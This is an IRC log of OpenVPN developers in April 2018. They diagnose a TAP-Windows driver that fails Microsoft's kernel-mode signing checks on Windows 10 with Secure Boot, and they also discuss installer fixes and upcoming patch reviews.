<@ecrist> it'll get better, and already is 07:49 <@dazo> :) 09:43 < pekster> mattock: Re: that TAP issue, we've got a machine that can re-produce that (I have setupapi.dev.log from a failed install if you'd like, but it seems to just show that 0x32 (dec: 52) error code discussed. Manually installing the driver from the TAP-Windows\driver path shows a valid Authenticode signature, but the device claims to lack a verifyable signature after install 09:45 < pekster> I wonder if the secureboot is playing a factor here; not sure what all the SOP is from Microsoft on the "correct" way to do driver signing under Windows 10 w/ UEFI secure-boot enabled 09:53 <@ecrist> pekster: I don't think UEFI and Secure Boot affect driver signing 09:56 < pekster> MSDN says otherwise, based on the driver type: https://msdn.microsoft.com/en-us/windows/compatibility/secured-boot-signing-requirements-for-kernel-mode-drivers 10:00 < pekster> mattock: Here's the GUI "manual" driver installation details, showing "signed" drivers, then rejected by the OS: http://pekster.sdf.org/misc/driver-manual-install-1.png , http://pekster.sdf.org/misc/driver-manual-install-2.png 10:09 < pekster> More info: https://blogs.msdn.microsoft.com/windows_hardware_certification/2016/07/26/driver-signing-changes-in-windows-10-version-1607/ specifically, "Starting in Windows 8, Secure Boot is on by default. when Secure Boot is on, Windows loads only drivers that are digitally signed." There's also the EV-cert requirement and the "hardware developer center dashboard" business 10:09 <@vpnHelper> Title: Driver Signing changes in Windows 10, version 1607 Windows Hardware Certification blog (at blogs.msdn.microsoft.com) 10:11 < pekster> Ah, we were probably grand-fathered in with the 3rd listed exception there until the security release recently. I think we need both EV certs and to follow the dev portal submission to pass their Big Brother driver thing 10:14 < kitsune1> As per past discussions, the driver is signed by a microsoft-blessed EV cert. Can anyone check whether disabling secure boot makes the tap driver install issue go away. If it does, that may give some clue. 10:14 < pekster> I can request a test and see, sure. But even with an EV-cert, we now need to submit our driver to that portal, if this is indeed the problem 10:16 < tincantech> kitsune1: this shows it apparently : https://forums.openvpn.net/viewtopic.php?f=5&t=26280#p78454 10:16 <@vpnHelper> Title: TAP installer failed on Windows 10 1709 with 2.4.6 - OpenVPN Support Forum (at forums.openvpn.net) 10:19 < tincantech> ecrist: would you be so kind, thanks : https://forums.openvpn.net/viewtopic.php?f=30&t=26291 10:19 <@vpnHelper> Title: email change and stuff - OpenVPN Support Forum (at forums.openvpn.net) 10:22 < kitsune1> pekster: I think the cert was indeed submitted to the MS portal etc.. That happened a long time ago iirc from past meeting minutes etc. 10:26 < pekster> This is a problem because the *recent* tap build was 4/15/2018 10:26 < pekster> Obviously we couldn't have submitted our new driver "a long time ago" 10:29 < kitsune1> I meant the process is known and just assumed is being followed.. Poor wording on my part. 10:30 < pekster> Gotcha. Either we need to re-submit if that was missed in the process, or maybe we're just waiting on Redmond's timeline to bless us with authorization to install on Windows 10. Seems like a crappy release process in the face of security issues like this was (IIRC) 10:30 < kitsune1> But considering the old driver doesn't throw any error, probably you are right. Some step was missed with new driver? 10:31 < kitsune1> Worse than crappy -- but its Windows... 10:31 < kitsune1> is it even necessary to submit every version -- no idea how it works. 10:35 < pekster> It typically is, because otherwise vendors could sneak in changes. The idea is MSFT is "vetting" the drivers to comply with the WHQL policies, similar to what the WACK does for userland apps (though that's still optional for now) 10:35 < tincantech> I can't see M$ pass up another opportunity to shake their money-maker 10:36 < kitsune1> tincantech: the forum post says you have to disable driver signing enforcement (not just secure boot). That would mean its worse than I thought. Wasn't this tested by a few others on Win 10? 10:36 < tincantech> kitsune1: i do not believe it was tested on W10 w/ UEFI etc 10:38 <@dazo> UEFI alone isn't enough ... must be a SB enabled system 10:38 * tincantech thinks 2.4.6 could be a very short lived release ;) 10:38 <@dazo> nah, I think we'll end up with another windows spin with differently signed drivers 10:39 < tincantech> or that :) 10:40 < pekster> OK, preliminary information on the trouble system we have access to is that turning secure-boot off "fixes" this problem; driver shows as operational now after booting with it off. Sub-optimal obviously, but seems to indicate our guess about kernel-mode signing is accurate 10:40 <@mattock> this is not related to openvpn 2.4.6 10:40 < pekster> Correct, related to TAP-Windows 9.0.0.22 10:40 <@mattock> rather 9.22.1 10:40 <@mattock> (versioning fix is on GitHub) 10:40 < pekster> Depends which prodcut you ask, but yes 10:41 <@mattock> I will try doing double-signatures again (SHA1 + SHA2) 10:41 <@mattock> one possible reason is that SHA1 signature triggers some undocumented compatibility mode in recent Windows 10:41 <@dazo> mattock: you probably need to check whether MS has hardened the requirements for kernel drivers 10:41 < kitsune1> mattock: doesn;t look like double signature issue -- Windows 10 will definitely will not require a sha1 signature. 10:41 <@mattock> yes they have, but we should still pass those 10:42 < pekster> Do we need to re-submit to the portal per the MSDN link above? 10:42 < kitsune1> So teh new driver was indeed submitted to the portal? 10:42 <@mattock> we are using the exact same EV dongle for signing as we did for 9.21.2 10:42 < pekster> Or is our "prior" blessing to the portal _really_ good enough for all future drivers? 10:42 <@mattock> no, it has not been submitted to the portal, but cross-certs that were issued prior to 2015 should work 10:42 <@mattock> we have never submitted anything to the portal 10:43 < pekster> "Driver was signed with an end-entity certificate issued prior to July 29th 2015 that chains to a supported cross-signed CA." 10:43 <@mattock> which page? 10:43 < pekster> https://docs.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later- 10:43 <@vpnHelper> Title: Driver Signing Policy | Microsoft Docs (at docs.microsoft.com) 10:43 <@dazo> I'm wondering if we need a new submission ... just a hunch ... as this is why OS vendors are pushing hard for Secure Boot ... as drivers is the best way to do funky stuff on a system without easily being spotted 10:44 <@dazo> that URL is also strong indication to my gut feeling 10:44 <@dazo> "Cross-signed drivers are still permitted if any of the following are true:" .... "Secure Boot is off." 10:45 < pekster> Right, but that's a terriable long-term fix. The fact that I had to do that on this system means that none of the _other_ exceptions apply here 10:45 <@dazo> yeah 10:45 < pekster> Or the "steps" needed to get these blessed by the Redmond BOFH 10:45 <@dazo> yeah 10:45 < kitsune1> dazo: as per that link its any of those conditions: so secure boot on should be ok 10:46 < pekster> When was our entity cert issued? Later than that date and we're still not OK kitsune1 10:46 <@dazo> kitsune1: as I've understood it .... turn off SB and it works .... which is one of the exceptions 10:46 < kitsune1> But the previous driver works with secure boot on. So it cant be secure boot 10:47 < pekster> Previous worked becuase (I'm assuming) it was either before Windows 10 version 1607 *OR* we had an entity cert issued before 2015-07-29 10:47 <@dazo> exactly 10:47 < pekster> Turning secure-boot works now because neither of those applies to the current driver 10:47 < pekster> Right, just making sure kitsune1 is caught up :) 10:47 < kitsune1> No, reinstalling the previous driver on 1709 works as per reports. 10:48 < pekster> Right, I didn't try that given that the 9.22.1 was released for a reason :) 10:48 <@mattock> MS information is contradictory 10:48 <@mattock> "drivers which are properly signed by a valid cross-signing certificate issued prior to July 29th, 2015 will continue to pass signing checks on Windows 10, version 1607." 10:48 <@mattock> vs. 10:48 <@mattock> "Drivers signed with an end-entity certificate issued prior to July 29th, 2015 that chains to a supported cross-signed CA will continue to be allowed." 10:49 <@mattock> as the old tap-windows6 driver still works, I believe that if the cross-signing certificate was issued prior to July 29th 2015 things should work 10:49 <@mattock> or else Windows checks the timestamp on the driver, sees that it's a "new" driver and refuses to load it 10:49 < pekster> Those are different though; top is "signed by" while the later is "entity certificate issued prior to" 10:49 < kitsune1> Can anyone do a SignTool verify on the catalog on Win10 1709? Not that, that would be good enough. 10:50 < pekster> I think so, let me stuff the .cat file over to our WACK-enabled host and check 10:50 <@mattock> anyways, it is possible that we (i.e. I) have to submit the thing to the dev portal 10:50 <@mattock> pekster: instructions here: https://community.openvpn.net/openvpn/wiki/BuildingTapWindows6#Validatingsignatures 10:50 <@vpnHelper> Title: BuildingTapWindows6 – OpenVPN Community (at community.openvpn.net) 10:51 < pekster> I'm annoyed you can't see the driver details from the UI anywhere, at least that I could find 10:51 < pekster> mattock: thanks! 10:52 < pekster> Any reason we'd want to test this on a reproducable PC with secure-boot on? I have to relay instructions to someone else if that's interesting 10:54 < pekster> Oh, probably not reading that wiki's description. It just validates the signature, not confirms Windows will "accept" the driver 10:54 < pekster> CBC64D0FC770B1694DF723BB18B5679CE09B61CA Valid tap0901.cat 10:55 <@ecrist> :) 10:55 < kitsune1> hmm... 10:56 < pekster> However, that's not with secure-boot on with our trouble system (this was tested from a system that has not had this issue, probably becuase secure boot is not supported there) 10:56 < kitsune1> mattock: do you understand the setupapi logs posted by some? The old driver installation shows a verifying signature stanza (and an error, though it succeeds!), but no such thing when the new driver's install log. 10:57 < pekster> We got an error in the setupapi.dev.log even though the final disposition was success. However it didn't mention anything about signature problems as the UI shows later (as in my 2nd screencap) 10:58 < pekster> https://paste2.org/FsMOeW7K 10:58 < pekster> Line 96 matches with reports of "error 52" (0x34 == dec: 52) 11:01 < kitsune1> right, an error different from what's in here: https://github.com/OpenVPN/tap-windows6/issues/49#issuecomment-384539626 which clearly says UNISGNED_DRIVER.. 11:01 <@vpnHelper> Title: Installer for 9.22.1 throws a signature error. · Issue #49 · OpenVPN/tap-windows6 · GitHub (at github.com) 11:01 < pekster> That _is_ the problem we had 11:02 < pekster> Oh, right, but not in setupapi.dev.log like that 11:02 < kitsune1> But neither log shows the signature verification section. Unlike the log for the re-install of the old driver 9.21.2 11:04 < pekster> In our log, it probably skipped all that going by line 37 11:04 < pekster> "... oemvista.inf' is already imported." 11:07 < kitsune1> signature section is expected around line 10 (as in the log for 9.21.2). No idea why it says if is already imported -- is it a second attempt at installation? 11:08 < kitsune1> s/if/inf/ 11:08 < pekster> Like 20th for the log I posted 11:08 <@mattock> I think the short-term "fix" is to build 2.4.6 that bundles tap-windows6 9.21.2 11:08 <@mattock> that I can do in an hour or so 11:09 <@mattock> we apparently have at least one laptop at the office where the driver should fail 11:09 <@mattock> I can then spend some days fighting MS and the dev portal 11:10 < pekster> Non-upgrade install of W10 with secure-boot? That should do it I think, as long as it's got recent updates 11:10 <@mattock> yes 11:10 <@mattock> I will try to convince the guys at the office to get a more static testing computer as well 11:10 < pekster> Yea, that process isn't fun. It's like they're trying hard to make software development as painful as possible :( 11:11 <@mattock> I was optimistically expecting that the old signing method would go through the loopholes 11:11 <@mattock> but no :| 11:12 <@mattock> building new installers now 11:12 < kitsune1> And we still dont know what's wrong -- Windows dev is like a blind-fold game. 11:13 < pekster> Right, we're going based on clues from a screenshot (becuase the "detailed" logs don't really say what's going on) cross-referenced with MSDN pages & blogs, combined with past experience and intuition. I don't recall open-source work being so hard :P 11:13 <@mattock> I think the problem must be one of these: 11:13 <@mattock> - Win10 checks the timestamp on the signature and makes choices based on that 11:13 <@mattock> - The SHA1 (or other additional) signature makes a difference 11:13 <@mattock> because otherwise the old tap-windows driver would not work, either 11:13 < pekster> Could be that the portal blessing is only good for that specific driver too; I've got no idea how that is handled 11:14 < pekster> I know WACK's formal validation applies to patch-releases but NOT minor release bumps (those require full resubmission) 11:14 < kitsune1> Yeah, any of the above or even the date on the driver beyond a cut-off? 11:15 < kitsune1> pesker: opensource is easy -- on Windows its often a guessing game as one cant look into the internals. 11:15 < pekster> I suspect it's safe to drop SHA1 as only Vista had trouble, and that's EOL. We dropped it from our application-signing without trouble all the way down to Windows 7 which works fine 11:15 < pekster> Not sure that's the trouble though as otherwise the 9.22.1 should have outright failed to install= 11:16 < kitsune1> pesker ? who's that :) 11:26 <@ecrist> kitsune1: one *can* look at the internals, it's just not easy or free 11:26 <@ecrist> wrt Windows 11:26 <@ecrist> pekster: my earlier feedback is what I recall hearing from Microsoft at my previous employer (as in 7 days ago). 11:29 < pekster> Well, that puts them about 20 months out of date of the 1607 release date 11:29 < pekster> Maybe they also had one of the exeption-clauses they were riding, or had no one with fresh Win10 installs using kernel-mode drivers and never needed to care 11:33 < kitsune1> mattock had warned about secure boot restrictions in one of the emails, but surprising no one stepped up to do a test on latest Win10. 11:33 < kitsune1> before the release, I mean. 11:38 < tincantech> *crickets* 12:06 <@mattock> yeah 12:06 <@mattock> I have new installers ready with old tap-windows6 12:06 <@mattock> I will put the to the secondary webserver and notify affected parties 12:06 <@mattock> if they say the new installer works I will put it online tomorrow morning my time 12:06 <@cron2> re... boy, you've been busy... 12:07 <@mattock> openvpn-build did most of the work 12:07 <@mattock> :P 12:09 <@mattock> it unfortunately seems that testing in production is the only way to be sure... 12:09 <@mattock> i.e. using innocent end-users as guinea-pigs 12:11 <@mattock> new installer online 12:11 <@mattock> will test it quickly on Windows 2016 12:12 < jkunkee> As I've been playing with the local test-signing script parts for tap-windows6, I have found this guide useful: 12:12 < jkunkee> http://blog.morphisec.com/windows-drivers-and-digital-signatures 12:12 <@vpnHelper> Title: Windows, Drivers and Digital Signatures (at blog.morphisec.com) 12:14 < jkunkee> Even a Windows kernel dev like me leaves most of the signing bits to the crypto wizards. 12:14 < jkunkee> it does make some sense that SB turns off some legacy path like SHA1 signature acceptance 12:14 <@mattock> new installer works 12:15 < jkunkee> Wonderful to hear. 12:15 <@mattock> but note that it includes the old tap-windows6 driver until I get the driver through the dev portal 12:15 < jkunkee> Fair enough 12:29 < kitsune1> But we still dont know why it works or why the new one didn't -- may be I said that already :) 12:42 <@cron2> I would assume that it's "time stamp on the signature" related. 9.21.2 is way older than win10 12:44 < jkunkee> The timestamp shouldn't matter as long as it's not absurd. To my admittedly limited understanding, signing checks only care if the cert is trusted and if the algorithms on both the cert and sig are strong enough 12:46 < jkunkee> But there are paths like upgrade that mean weaker algos (SHA1) are still acceptable, and SB may block that exception. 12:46 <@mattock> cron2: that is my hunch also 12:47 <@mattock> it seems I don't have the capability to add SHA1 kernel-mode signatures anymore 12:47 <@mattock> i.e. no cert/key 12:47 <@mattock> unless any authenticode signature will do the trick 12:48 <@mattock> have to check 12:48 <@mattock> I would like to check if the presence of SHA1 cert flips some switch in Windows 12:52 <@cron2> jkunkee: timestamps definitely have an influence - we bumped into this some time earlier when the code signing certificate expired, but everything that was signed *before* expiry still was good, we just could not sign new stuff 12:53 * jkunkee hangs head in shame 12:57 <@cron2> (but for *this* particular case, I might be totally off :-) ) 12:58 < kitsune1> two things to note: the new signature includes only SHA256 (so old algo arguments dont apply) and it seems to passes the usual "signature checks" on the catalog. Failure seems to occurs at the point of loading to the kernel -- so it does appear the kernel mode signing policy's documented exception is no longer valid (signed after xx date?). 13:02 < jkunkee> or SB turns off the exception? (which would be weird) 13:03 < jkunkee> I'll take a peek at the setupapi log in a bit. 13:04 < kitsune1> The logs raise more questions than it answers -- 9.21.2 shows signatre failure but succeeds, 9.22.1 shows no logs on signature verification, but in the end fails with signature missing error. 13:05 <@mattock> here's a related ticket in case it was not linked to earlier: https://github.com/OpenVPN/tap-windows6/issues/49 13:05 <@vpnHelper> Title: Installer for 9.22.1 throws a signature error. · Issue #49 · OpenVPN/tap-windows6 · GitHub (at github.com) 13:05 <@mattock> there are setupapi.dev.logs there 13:08 < kitsune1> mattock: it would be wise to get the installer tested on a machine from which old drivers have been purged. To ensure the success is not due some exception passing existing drivers. 13:30 <@cron2> as a side track, here's a nice talk about software security in C - a bit long winded, but worth listening - *and* it has groff on camera! - https://www.youtube.com/watch?v=Vr_T5hFtyoM 13:34 < kitsune1> Whole day we're sidetracked by Windows fiasco -- this youtube thing looks more like work :) 13:35 <@cron2> Paul Vixie is totally a BSD guy, so "no Windows there" 13:35 <@mattock> I'm almost done with tap-windows-9.22.1-I602 installer where tap0901.sys files are also signed 13:35 <@mattock> previously only the .cat files were, and that used to be enough 13:35 <@mattock> let's see if that has any effect whatsoever 13:36 < kitsune1> signing .sys looks like a good idea -- at least the file details will now stop showing unsigned, hopefully.. 13:37 <@mattock> yeah, that's possible 13:37 <@mattock> even likely 13:37 <@mattock> here: https://build.openvpn.net/downloads/releases/tap-windows-9.22.1-I602.exe 13:38 <@mattock> I will quickly test it on Win7 and Win2016 13:41 <@mattock> yeah, now Digital Signer shows "OpenVPN Technologies Inc" in driver properties 13:41 <@mattock> so that alone is nice 13:41 <@cron2> cool 13:51 < tincantech> mattock: under "Programs and features" Publisher is "${PRODUCT_PUBLISHER]" 13:53 < kitsune1> Hmm.. in properties->configure->driver it does, but it always did so for me. But not in driver details -- On Win7. 13:53 < tincantech> and "TAP Utilities" is not selected by default 13:53 <@mattock> lol 13:53 < tincantech> :) 13:54 <@mattock> that's definitely a bug 13:58 < kitsune1> Would utilities not installed by default also affect 2.4.6 installer -- will check. 14:00 < kitsune1> No, there its ok -- addtap and deltap are installed though ot sure of the shortcuts to them. Will have to delete them and try. 14:20 < pekster> I think that's only not included if you directly install the TAP-Windows product; I'm assuming (without bothering to look now) that the NSIS for openvpn either includes the utilities or passes CLI args to enable that during installation 14:27 < tincantech> FYI: https://forums.openvpn.net/viewtopic.php?f=5&t=26280#p78493 14:27 <@vpnHelper> Title: TAP installer failed on Windows 10 1709 with 2.4.6 - OpenVPN Support Forum (at forums.openvpn.net) 14:27 <@dazo> tincantech: you can tell users now that we're aware and working on fixing it 14:29 < pekster> I think the reinstallation fails for the last post of that forum entry due to a matching 4-segment version (9.0.0.22) 14:30 < pekster> At least that's the implication I get from the log sequence 14:43 < jkunkee> PRODUCT_PUBLISHER is a bug in the installation script invocation due to horrible CMD quote semantics. I have a fix as part of the ARM64 work I'm doing. 14:43 < kitsune1> yes, the the openvpn installer runs tap-installer with /S /SELECT_UTILITIES=1 15:10 <@cron2> jkunkee: oh, good. Can you send a mail or open a PR? Thanks :) 15:17 < ender|> <ordex> ender|: I like your IP ;) <- thank you :) 15:17 < ender|> (thoughI wouldn't know why 66 is the answer ;) 15:19 < kitsune1> 66 = 42 = 24 21:02 < jkunkee> cron2: yes, I'll try and get that out tomorrow (it's the end of the workday for me right now) 22:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 22:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 23:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:47 <@mattock> ok, time to backpedal :P 23:48 <@mattock> actually, there is a possibility I may be able to sign the driver using the MS portal - will check that first --- Day changed Fri Apr 27 2018 01:10 <@mattock> I managed to submit the 64-bit driver for signing, but the process at MS end seems to be manual 01:10 <@mattock> so I need to put the 9.21.2 installer to the download page 01:26 <@mattock> backpedaling complete, will notify interested parties 01:53 <@mattock> my driver submissions were rejected automatically without any explanation 01:53 <@mattock> I sense pain in the future... 01:59 <@ordex> it seems every update to this tap thing is quite painful no? 01:59 <@ordex> is it because we lack the right tools? or it just has to be like this? 02:31 <@cron2> "with no explanation" is not exactly friendly... 02:31 <@cron2> ordex: I think we lack experience... it's like iOS submissions for "I want to use the VPN API"... complicated due to extra checks, but if you know how it works... 02:32 <@ordex> I see 02:32 <@ordex> and of course doc is lacking :S 02:43 <@cron2> yeah 03:36 <@ordex> plaisthos: I think this guy is using your app https://forums.openvpn.net/viewtopic.php?f=33&p=78478#p78478 03:36 <@vpnHelper> Title: Open VPN Causing reboot - OpenVPN Support Forum (at forums.openvpn.net) 03:37 <@cron2> tun.ko sounds very much like "rooted" 03:41 <@ordex> no clue 03:42 <@ordex> but you definitely need root access to side load modules :P 07:15 <@mattock> more hoopsies to jump through: https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/attestation-signing-a-kernel-driver-for-public-release 07:15 <@vpnHelper> Title: Attestation signing a kernel driver for public release | Microsoft Docs (at docs.microsoft.com) 07:15 <@mattock> MS support was surprisingly fast and helpful 07:16 <@mattock> count me out from anything else for the next couple of months :D 07:23 <@cron2> ouch 07:32 <@dazo> fast, helpful and unavailable for a couple of months .... there's a parse and compile error here .... 07:37 <@cron2> dazo: nah. You just need to read the helpful URL that they provided quickly :-) 07:38 <@cron2> "you can have your driver signature, no problem. But you have to submit proof that you tested the driver on every single version of Windows that was ever made! Otherwise you'll only get Win10 home!" 07:38 <@cron2> the "attestation signing" part has a document next to it "for other versions of windows" (or something like that) 07:41 <@dazo> ahh .... as I read "fast", I didn't read the URL careful :-P 07:46 <@mattock> the support person actually wrote a lengthy email also 07:46 <@mattock> but yes, the driver testing/signing requirements seem to quite draconian 07:47 <@mattock> I wonder if we could off-source this to some external company 07:47 <@mattock> just hand them the driver 07:47 <@mattock> they do the "testing" for us 07:47 <@mattock> that would be cheaper for OpenVPN inc. than having me work on this for a full working week or so 07:47 <@cron2> now that depends on how much they want for it :) 07:49 <@mattock> yep 07:51 < tincantech> any ETA for the new driver hitting the web ? 07:52 <@dazo> tincantech: yes, there will be an ETA eventually ;-) 08:00 < tincantech> so no ETA then ? 08:02 <@mattock> your ETA is as good as mine 08:02 <@mattock> but "within some weeks" may be doable 08:03 <@mattock> I will have to go through the documentation to see what is involved exactly 08:03 <@mattock> then try it out, notice all the interesting ways the process fails, find workarounds 08:03 <@mattock> then fight microsoft and their portal for some days 08:03 <@mattock> then maybe we have a driver 08:04 <@mattock> this in particular worries me: "An attestation signed driver will only work for Windows 10 Desktop. It will not work for other versions of Windows, such as Windows Server 2016,Windows 8.1, or Windows 7." 08:05 <@mattock> which means pain for us at the installer end 08:05 < tincantech> I read that link posted by jkunkee and it looks horrendous ! 08:05 <@mattock> so this is a major project 08:05 <@mattock> yep 08:05 <@mattock> hence I'm thinking of trying to outsource as much of it as possible 08:08 < tincantech> or hire someone to do it at openvpn and then sell that service to others ;) 08:09 < tincantech> anyway .. win10 with secure boot is out the window till then I guess 08:35 <@cron2> mattock: you need to click on the other link right next to it (in the microsoft portal) that says "other versions of windows". It's even more fun 10:29 < kitsune1> The docs mention something about sign using a cross-signed cert and then attest to support more versions of Windows. So that may be an option. But then it says server 2016 will not support it. What a pain.. 11:00 <@ordex> :/ 11:15 <@plaisthos> ordex: yeah, no idea. Android 4.4.4 is super old now and 4.4 version were always super flaky. And mentioning tun.ko does not sound good either. I rather not waste my time with that forum post :/ 11:15 <@ordex> yeah 11:15 <@ordex> thought so too 11:25 < tincantech> ordex: what do you make of this ? : https://forums.openvpn.net/viewtopic.php?p=78529#p78529 11:25 <@vpnHelper> Title: Authenticate/Decrypt packet error - OpenVPN Support Forum (at forums.openvpn.net) 11:26 < tincantech> the iOS version seems to be upto date .. the server log shows IV_* in the right sort of rea NCP etc 11:26 < tincantech> area* 11:26 <@ordex> funny how it crashes though 11:27 < tincantech> on all his devices ..... 11:27 <@ordex> yeah interesting 11:28 < tincantech> i don't know what to say to that :S 11:29 <@ordex> me neither :/ 11:29 < tincantech> oh well .. iOS is apple he can take it to a shop ;) 11:30 <@ordex> hehe 11:30 <@ordex> honestly, I have no idea what could cause the authentication error... 11:30 <@ordex> maybe we can ask if that prevents the connection from working at all or not 11:30 <@ordex> this will allow us to understand if the problem happens on some packets or on all of them 11:33 < tincantech> did you watch his video ? 11:34 <@ordex> yap 11:34 <@ordex> the app just disappears 11:34 <@ordex> but for that I'd recommend to open a ticket on trac 11:35 < tincantech> i am not going to try to debug the ovpn problem without the client log .. but i cannot imagine how all his openvpn apparent crash as he opens yje log 11:35 <@ordex> he should probably try to connect the device to the macbook and get the console log of what is happening 11:35 <@ordex> yeah that's weird 11:35 <@ordex> he is the only person.. 11:35 <@ordex> and it crashes on all his devices 11:35 < tincantech> exactly .. 11:35 <@ordex> maybe some conflicts with some other app he installed on all the devices 11:35 <@ordex> app or setting 11:37 < tincantech> if you want to jump in please do :) i don't know anything about iOS 11:38 <@ordex> ok, will try to reply later 11:40 < tincantech> thanks 12:47 <@cron2> ordex: I've seen that! iOS client just crashing on some actions! 12:47 <@cron2> (but that was like 5 years ago on one of James' first betas... :-) ) 13:02 <@cron2> mattock: I just had an idea. Since the Sparklabs folks have been able to ship a modified tap6 driver with their VPN client, maybe they can help with signing? 13:04 <@plaisthos> cron2: I think since OpenVPN Connect also depends on the drivers, dependency on another company would be strange in this case, for community it would be probably okay 13:05 <@mattock> cron2: discussing this with Sparklabs is definitely a good idea 13:05 <@cron2> call it "shared effort in documenting the process" or so - if we knew exactly which approach works that would save quite a bit of time 13:06 <@plaisthos> ah okay 13:06 <@plaisthos> misunderstood that as let them sign the driver 13:19 <@cron2> I think I was not perfectly clear myself on the options :) 13:28 <@mattock> I'm not sure what MS was smoking when they decided that the new signing style only works on Windows 10 13:29 <@mattock> adding support for it to older Windows shouldn't be _that_ hard 13:33 < jkunkee> mattock: While they did add support for SHA256 all the way back to XP, all the rules around what's accepted where once it's verified is the real arcana 13:35 < jkunkee> You could script the testing from PowerShell, I suppose. You just need a VM on each major Windows version 7-10 (ouch) and the two servers for the hardware certification suites, then manual setup steps, then the tests are automated. 13:36 < jkunkee> The HLK and HCK suites are a scaled down and more user-friendly version of the automated test frameworks of the day. 13:36 < jkunkee> (of the day == of the day internally at Microsoft) 15:33 < jkunkee> cron2: I decided to be thorough and sent both a PR and mail. :) 15:34 <@cron2> yup, just saw them both :-) 15:34 <@cron2> mattock is the one to appreciate and merge, though 16:06 < jkunkee> What's the story on mystery patches to devcon? The latest devcon (github.com/Microsoft/Windows-driver-examples setup/devcon) builds with no changes, but it's not named tapinstall at the end. 16:07 < jkunkee> (and what's in a name? My new buildtap.py just renames it :) 16:08 < jkunkee> s/examples/samples/ 16:09 < kitsune1> My reading is that probably we are not allowed to redistribute devcon sources, so we just distribute the executable? Why renamed, not sure. So I suspect there are no mystery patches. 18:05 < jkunkee> kitsune1: Ah, that makes more sense than my reading. 18:05 < jkunkee> Looks like it might not be so bad anymore: 18:05 < jkunkee> https://raw.githubusercontent.com/Microsoft/Windows-driver-samples/master/LICENSE 18:05 < jkunkee> Still, easy enough to just reference where to clone the sources now that they're on github and not tucked away in the DDK 19:56 < kitsune1> Right, MS-PL does look simple. Still not sure whether one can call devcon by that name and distribute -- devcon.exe is a very old program. OpenVPN and tap driver for Windows also have a long history -- and surely licensing of MS samples used to be much less clear. But based on that link it does seem now one can distribute even patched devcon sources as long as we keep the license as MS-PL. Or just 19:56 < kitsune1> binary with no source. --- Day changed Sat Apr 28 2018 11:15 <@ordex> fyi I have created the agenda for the next meeting: https://community.openvpn.net/openvpn/wiki/Topics-2018-05-02 11:15 <@vpnHelper> Title: Topics-2018-05-02 – OpenVPN Community (at community.openvpn.net) 11:16 <@ordex> I have added the two topics I have to discuss 11:47 < tincantech> ordex: you'll be needing a new whip if you keep cracking your like that ;) 13:17 <@cron2> ordex: I'm afraid I'll have to pass on that meeting again (same as last week, will be driving $kid around right that time) 13:28 <@cron2> oh. forget that. I'll make it \o/ :) 21:04 <@ordex> cron2: yay! I have something about jigsaw to quickly discuss too, so I can pass the feefback back to the devs --- Day changed Sun Apr 29 2018 02:15 <@cron2> jigsaw? 02:18 <@ordex> cron2: the bigger umbrella project under which google is implementing the obfuscation plugin 02:18 <@cron2> ah 02:18 <@ordex> I have reviewed their patches a bit, and I wanted to quickly explain you how thet are approaching the problem and see if you all like the idea 02:18 <@ordex> *they 02:38 * cron2 wonders if we need to do an early hackathon this year... 02:38 <@cron2> there's so much stuff pending that needs more dedication than "one hour of meeting and a bit of evening time" 02:38 <@cron2> especially the multi-socket patch set has lots "huh, why did he do this?" that need a proper discussion 02:39 <@cron2> (and tls-crypt v2 needs more love, too) 02:44 <@ordex> do you think we can't address these concerns asynchronously on the ml/irc rather than meeting physically? 02:45 <@ordex> unless meeting is an excuse to force ourselves to do actual community work, that would be understandable 02:45 <@ordex> :) 02:46 <@ordex> if that can help, we could also have very focused video/voice meeting rather than typing all time long on IRC 02:49 <@cron2> not sure what I think... 02:49 <@ordex> :D 07:28 <@mattock> voice meetings are tricky to summarize 07:29 <@mattock> plus the summary is all people will get 07:29 <@mattock> generally I prefer IRC in the open source project context 07:29 <@mattock> not least because I find it quite hard to participate _and_ summarize what was said 09:18 <@ordex> mattock: yeah I do agree about general meetings. But I was referring to "focused meetings", like cron2 "wants to talk a bit about the multi-socket patchset and wants to understand what we are doing with the current code". This is something that the interested people "could" also discuss by voice. it does not mean it would substitute the general IRC meeting 09:19 <@ordex> then either part joining the call could express a few of the discussed concept in reply to the interested patch (if needed for further discussion or input) 09:19 <@ordex> so pretty much like just meeting and discussing code 10:04 * cron2 usually does not like talking to people very much :-) - but sometimes staring at a common screen and talking over details is easier than "just IRC" 10:05 <@cron2> I need to think a bit more about this (unfortunately, I need to finish an overdue network audit paper for a customer first) 11:07 < tincantech> ordex: seems to me, the discussion should have taken place before producing the code .. (not meant to be rude, just my thought) 11:08 < tincantech> and while it is impressive, i cannot think of why openvpn needs it ? 11:08 <@ordex> tincantech: it happened, but then between discussion and real code a lot happens 11:08 <@ordex> so discussion on the "actual" code is required 11:08 < tincantech> ok 11:08 <@ordex> which is just also called as review :) 11:08 < tincantech> well .. i did not see any of that discussion 11:09 <@cron2> openvpn code base is sometimes not very easy to udnerstand, so "you have to get something that actually *works*" before you can discuss if that's the best possible approach 11:09 <@ordex> are you talking about the multi-socket or netlink? 11:09 < tincantech> multisocket .. i understand SITNL is totally different 11:10 < tincantech> i cannot see a reason for multisocket 11:10 <@cron2> look harder :) 11:10 <@ordex> for multi-socket the main reason is ... to have one process listening on multiple ports (which later will potentially become multiple protocol). right now not every platform can do that without spawning multiple openvpn processes 11:10 < tincantech> the only reason i can see is if the device running openvpn is severely restricted on RAM 11:10 <@cron2> a few easy examples: if you have a machine that has multiple interfaces with multiple IP addresses, there is no current way to make a single process listen on v4+v6 on just *one* interface 11:11 < tincantech> ok .. fair enough 11:11 <@ordex> as you can see it just adds flexibility for a lot of scenarios 11:11 <@cron2> if you do that with multiple processes, you need multiple pools, keep configs in sync, and find ways (plugins/script) how to move around routes and IP addresses if a client has a fixed IP 11:11 <@ordex> and, imho, it opens paths for further optimizations and new features 11:11 <@cron2> openvpn AS can do that, but it's a hell of a mess in the background 11:12 <@ordex> yap 11:12 <@ordex> I wouldn't consider that a solution for "everybody" 11:12 <@cron2> I run openvpn servers for customers that have udp/1194 and tcp/443, and it's highly annoying to 